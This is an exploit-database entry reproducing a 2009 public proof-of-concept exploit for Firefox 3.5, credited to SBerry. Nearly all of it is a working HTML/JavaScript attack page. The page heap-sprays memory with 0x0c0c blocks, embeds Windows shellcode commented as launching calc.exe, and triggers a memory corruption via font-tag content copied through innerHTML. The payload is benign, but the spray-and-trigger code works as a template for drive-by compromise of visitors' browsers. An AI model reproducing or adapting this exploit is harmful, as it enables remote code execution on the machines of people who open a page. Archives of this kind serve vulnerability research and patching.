Mozilla Firefox 3.5 (Font tags) Remote Buffer Overflow Exploit

🗓️ 13 Jul 2009 00:00:00Reported by RootType
Mozilla Firefox 3.5 Remote Buffer Overflow Exploi

                                                &lt;html&gt;
&lt;head&gt;
&lt;title&gt;Firefox 3.5 Vulnerability&lt;/title&gt;
Firefox 3.5 Heap Spray Vulnerabilty
&lt;/br&gt;
Author: SBerry aka Simon Berry-Byrne
&lt;/br&gt;
Thanks to HD Moore for the insight and Metasploit for the payload
&lt;div id=&quot;content&quot;&gt;
&lt;p&gt;
&lt;FONT&gt;                             
&lt;/FONT&gt;
&lt;/p&gt;
&lt;p&gt;
&lt;FONT&gt;Loremipsumdoloregkuw&lt;/FONT&gt;&lt;/p&gt;
&lt;p&gt;
&lt;FONT&gt;Loremipsumdoloregkuwiert&lt;/FONT&gt;
&lt;/p&gt;
&lt;p&gt;
&lt;FONT&gt;Loremikdkw  &lt;/FONT&gt;
&lt;/p&gt;
&lt;/div&gt;
&lt;script language=JavaScript&gt;
 
/* Calc.exe */
var shellcode = unescape(&quot;%uE860%u0000%u0000%u815D%u06ED%u0000%u8A00%u1285%u0001%u0800&quot; +   
                       &quot;%u75C0%uFE0F%u1285%u0001%uE800%u001A%u0000%uC009%u1074%u0A6A&quot; +   
                       &quot;%u858D%u0114%u0000%uFF50%u0695%u0001%u6100%uC031%uC489%uC350&quot; +   
                       &quot;%u8D60%u02BD%u0001%u3100%uB0C0%u6430%u008B%u408B%u8B0C%u1C40&quot; +   
                       &quot;%u008B%u408B%uFC08%uC689%u3F83%u7400%uFF0F%u5637%u33E8%u0000&quot; +   
                       &quot;%u0900%u74C0%uAB2B%uECEB%uC783%u8304%u003F%u1774%uF889%u5040&quot; +   
                       &quot;%u95FF%u0102%u0000%uC009%u1274%uC689%uB60F%u0107%uEBC7%u31CD&quot; +   
                       &quot;%u40C0%u4489%u1C24%uC361%uC031%uF6EB%u8B60%u2444%u0324%u3C40&quot; +   
                       &quot;%u408D%u8D18%u6040%u388B%uFF09%u5274%u7C03%u2424%u4F8B%u8B18&quot; +   
                       &quot;%u205F%u5C03%u2424%u49FC%u407C%u348B%u038B%u2474%u3124%u99C0&quot; +   
                       &quot;%u08AC%u74C0%uC107%u07C2%uC201%uF4EB%u543B%u2824%uE175%u578B&quot; +   
                       &quot;%u0324%u2454%u0F24%u04B7%uC14A%u02E0%u578B%u031C%u2454%u8B24&quot; +   
                       &quot;%u1004%u4403%u2424%u4489%u1C24%uC261%u0008%uC031%uF4EB%uFFC9&quot; +   
                       &quot;%u10DF%u9231%uE8BF%u0000%u0000%u0000%u0000%u9000%u6163%u636C&quot; +   
                       &quot;%u652E%u6578%u9000&quot;);
/* Heap Spray Code */            
oneblock = unescape(&quot;%u0c0c%u0c0c&quot;);
var fullblock = oneblock;
while (fullblock.length&lt;0x60000)  
{
    fullblock += fullblock;
}
sprayContainer = new Array();
for (i=0; i&lt;600; i++)  
{
    sprayContainer[i] = fullblock + shellcode;
}
var searchArray = new Array()
 
function escapeData(data)
{
 var i;
 var c;
 var escData='';
 for(i=0;i&lt;data.length;i++)
  {
   c=data.charAt(i);
   if(c=='&amp;' || c=='?' || c=='=' || c=='%' || c==' ') c = escape(c);
   escData+=c;
  }
 return escData;
}
 
function DataTranslator(){
    searchArray = new Array();
    searchArray[0] = new Array();
    searchArray[0][&quot;str&quot;] = &quot;blah&quot;;
    var newElement = document.getElementById(&quot;content&quot;)
    if (document.getElementsByTagName) {
        var i=0;
        pTags = newElement.getElementsByTagName(&quot;p&quot;)
        if (pTags.length &gt; 0)  
        while (i&lt;pTags.length)
        {
            oTags = pTags[i].getElementsByTagName(&quot;font&quot;)
            searchArray[i+1] = new Array()
            if (oTags[0])  
            {
                searchArray[i+1][&quot;str&quot;] = oTags[0].innerHTML;
            }
            i++
        }
    }
}
 
function GenerateHTML()
{
    var html = &quot;&quot;;
    for (i=1;i&lt;searchArray.length;i++)
    {
        html += escapeData(searchArray[i][&quot;str&quot;])
    }    
}
DataTranslator();
GenerateHTML()
&lt;/script&gt;
&lt;/body&gt;
&lt;/html&gt;
&lt;html&gt;&lt;body&gt;&lt;/body&gt;&lt;/html&gt;

# sebug.net
13 Jul 2009 00:00Current
7.1High risk
Vulners AI Score7.1